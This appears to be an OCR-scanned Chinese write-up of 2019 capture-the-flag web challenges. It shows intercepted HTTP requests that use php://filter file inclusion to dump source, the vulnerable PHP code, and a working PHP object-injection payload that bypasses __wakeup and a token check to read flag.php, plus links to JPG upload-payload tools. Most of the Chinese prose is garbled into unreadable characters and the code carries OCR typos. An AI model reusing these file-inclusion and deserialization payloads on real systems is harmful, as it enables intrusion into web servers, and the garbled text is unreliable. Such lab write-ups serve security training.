text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/s
igned-exchange;v=b3

Referer: http://117.51.148.166/upload.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

------ WebKitFormBoundary6BBeRaExgYoqB23C y
Content-Disposition: form-data; name="file"; filename="% 7k {24 |}z 20190331094626 jpg" v

(T| ﬁ} (Tl ﬁ] Type a search term 0 matches (Tl ﬁ] [T] ﬁ] Type a search term

RATA EAZ R B R R EE&F R 8 "phpinfo()", BESRX#E, 7EE R Bm _Ephpinfo(), HREREREM LM, LREREEFKR
FIEIwp, SR ERESKIGDE, M EHEENphpl4A, BEEMHF. H2W A LF TfuzzilliXphpinfo()i @A AL E .
1.https://github.com/BlackFan/jpg_payload

2 .https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg

EERE GE—#E)

MNTFRME, EERRRAEMASE, RRPBABTR-BE, itRMNEACAHAIEEL L EE, ACEFTENS LD
Bh. RREEESXE, B2 RERRXANwebFERK, #Hith, KNEZEAHT.
BHEWTERERXAWebH B T, EHEKRLK—LEH, HEFRKHNSKwriteupit £ BEFBIRTEH .

writeup:
https://www.ctfwp.com/articals/2019national.html
https://xz.aliyun.com/t/4906#toc-0

Web—3EIEM, BT HE - MRFIIMHRERE AR, HMM=ERMEE A, BRRHT?7T.

JustSoso (writeup) :
X TE R B R R P S AT — L iR B SRt
TR
C  © FZ% | 53415cfe23514ch1abf4d0c78c55fed4b0510a884e274e26.changame.ichungiu.com

Missing parameter
Missing parameters

B A&, view-source 5 #R7rindex.php?file=xxx.phpfl—/~hint.php. FBXANEHEBISCHFRE, BEEIEEE, Sikhintphp,


https://github.com/BlackFan/jpg_payload
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
https://www.ctfwp.com/articals/2019national.html
https://xz.aliyun.com/t/4906#toc-0

FiEindex.php:

Go Cancel <|v > |» Target: http://53415cfe23514cb1abf4d0c78c55fe44b0510a884e274e26.changame.ichungiu.com | # L
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML TRender ]

POST /index.php?file=php://filter/read=convert.base64-encode/resource=hint.php HTTP/1.1

Host: 53415cfe23514ch1abf4d0c78c55fe44b0510a884e274e26.changame.ichungiu.com
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.86 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-excha
nge;v=h3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UM_distinctid=168070630e80-0528f26f04a51a-3f674706-e1000-168070630eb2f1; pgv_pvi=6014872576;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
ci_session=0335d68dc488c2748b2e559d007a2c8a06143fc4;
Hm_Ivt_2d0601bd28de7d49818249cf35d95943=1555600820,1555649999,1555720661,1555732804;
Hm_Ipvt_2d0601bd28de7d49818249cf35d95943=1555732863; __ jsluid=66211fe008138f2cb7aabc49ead16ed2
Connection: close

T

L

Go Cancel <|v >|¥

Request

Raw | Params | Headers | Hex

<html>|OwO0KICAgIHB1YmxpYyAkdG9rZW47DQoglCAgcHMissing parameters</--Please test

index. php?file=xxx.php -->

Target: http://53415cfe23514cb1abf4d0c78c55fe44b0510a884e274e26.changame.ichungiu.com | L

Response

Raw | Headers | Hex HTMLTRender]

POST /index.php?file=php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1

Host: 53415cfe23514cb1abf4d0c78c55fe44b0510a884e274e26.changame.ichungiu.com
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW&64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/73.0.3683.86 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-excha
nge;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: UM_distinctid=168070630e80-0528f26f04a51a-3f674706-e1000-168070630eb2f1; pgv_pvi=6014872576;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
ci_session=0335d68dc488¢2748b2e559d007a2c8a06143fc4;
Hm_Ivt_2d0601bd28de7d49818249cf35d95943=1555600820,1555649999,1555720661,1555732804;
Hm_Ipvt_2d0601bd28de7d49818249cf35d95943=1555732863; _ jsluid=66211fe008138f2cb7aabc49ead16ed2
Connection: close

T

-
v

0 matches

LJ LJ LJ l;J Type a search term

PR #f REbase64, EEMAILE I M AR

<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;

}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
+

public function __ destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function _ construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10600));

public function getFlag(){
$this->token_flag = md5(rand(1,16008));
if($this->token === %this->token flag)

X-Cache: bypass

<html>Missing parameters</--Please test

index.php ?file=xxx.php -->

<I--Please get the source of hint.php-->

u l;J LJ l;J Type a search term

0 match



if(isset($this->file)){

echo @highlight_file($this->file,true);

CEELITE SSLiEgETH SSURRTE R
<html>
<?php

error_reporting(e);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(lisset($file)){

echo 'Missing parameter'.'<br>’;
}

if(preg_match("/flag/",$file)){
die('hack attacked!!!");

@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
Yelse{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

REERKE, KRS TALHE A, ARAMUKRFIIGEE KT .

NiceTool SHE

PRS-

HEEEE T, %&Findexphp, K Hunserialize(), P unserilaize\ BRI —L% % A, MLABET, BifaghdyE, X—k
BRI R AEEBERE T —ir, RATUSLEHHTE. S Fhintphp, HHAclass, F—AHandle, &AIATUEF)
_wakeup(), RFFMLIRFASHI TR T, XBEEE —NHEERN— A& "private handle”, FERZIXAE, X FHERITT

payload 1R KHIFEBL; BHAT, X TFFlagihs, B —Atokenfiltoken flaghiti%s, XEHBEFEEEZR—T.

ZE— T, BATME K payload FE ST urlf @, RE54E_wakeup(). tFurlf@#fr, indexphpri 2 s InwEAN" /1 LE At i T 2%
W, BRATBAGES IEN]; *+T wakeup()) REEARAL EM1BIT . &R 3HFAE X Ghandle, 3 i HE F Z £ Handle

PN £"%00", EIREHEIA M, BEERMEIEFIIL, tokenfIERE A CMK. REEflag:

B xamEnis @ #HFLE 5 HAmit SRS

<?php
$flag = ~flag{42c6c201-F29f-4302-860F-35ab50986034) ;
2

N OB Qe DEde Oatesee QOue One NRS B & 7 TEskis @ HackBar

Encryption v Encoding ~ SQL ~ XSS~ Other ~

k= £led

g] e

Contribute now! HackBar

) Load URL http://94704da3673d4315a29c07853e7a50421de2409d7e4e4373.changame.ichungiu.com///index.php?file=hint.php&payload=0:6:"Handle":2:{s:14:"%00Handle%00handle";

0:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"cf79aeb6addba60ad018347359bd 144d2

{ )
% Split URL ":s:10:"token_flag";R:4;}

» ) Execute
[] Postdata [] Referer [] User Agent [ | Cookies

JGRE T — LR K IR A writeup, #i&Kpayload, AT A& "payload=0:6:“Handle”:2:
{s:14:"%00Handle%00handle";0:4:“Flag™:3:{s:4:“file”;s:8:“flag.php”;s:10:“token_flag”;R;4;s:5:“token”;N;}}"

Clear All



XERRE R T B JETEME, RSessiontERE, 666K, ?it.
R hitp://12end xyz/essay1/

JETE G, love_mathRiE R

> C O T2 | 0969034b20f04733ad141e5f56bfdcff8f6fd3d381aedeea.changame.ichungiu.com

RIXTL

BN ER

itHE
AR BN IHAS
& C @ F%% | 0969034b20f04733ad141e5f56bfdcff8f6fd3d381aedeea.changame.ichungiu.com/calc.php
<?php
error_reporting(0);
T AR S RCBOY:  ASRIEARE 75 2 B £ lag

if(lisset(§_GET['c’ 1)) {

show_source (_ FILE_ )
Jelse{

#l 1 e=20-1

Scontent = §_GET['¢'1;

if (strlen($content) >= 80) {

: die (KK TALF"):

}

$blacklist = [ 7, “\t', "\o’, "W,V 07, 07, WD, AL

foreach ($hlacklist as $hlackitem) |

if (preg_match(’ /" . S$blackitem /m", $content))
die ("I A EHIA AT AT PRIN 7
}
}
i B Bt tep: //ww ool. com. cn/php/php_ref math. asp
Swhitelist = ["abs’, 'acos’, ’'acosh’, ‘asin’, “asinh’, ’atan2’, “atan’, “atanh’, base_convert’, 'bindec’, ’ceil’,
preg_match_all (' /[a—zA-7_\x7f—\xfflla—zA-7_0-9\x7f-\xffl*/, S$content, Sused_funcs):

foreach (Sused_funcs[0] as S$func)

if (lin_array($func, $whitelist)) {
die ("R EAA AT AR PRI A

}

1

1

IR AR
eval (" echo . $content.’ ;' ):

REXBIFELERE T —K, BARKARY, EXRETHEHNKITEIIKwiteup, A K1TEX LR HOE REIX 4 B,

o %(e>__<0)°00 {HARMIRMER T — B, wifibase_convert(), AR REIEH.
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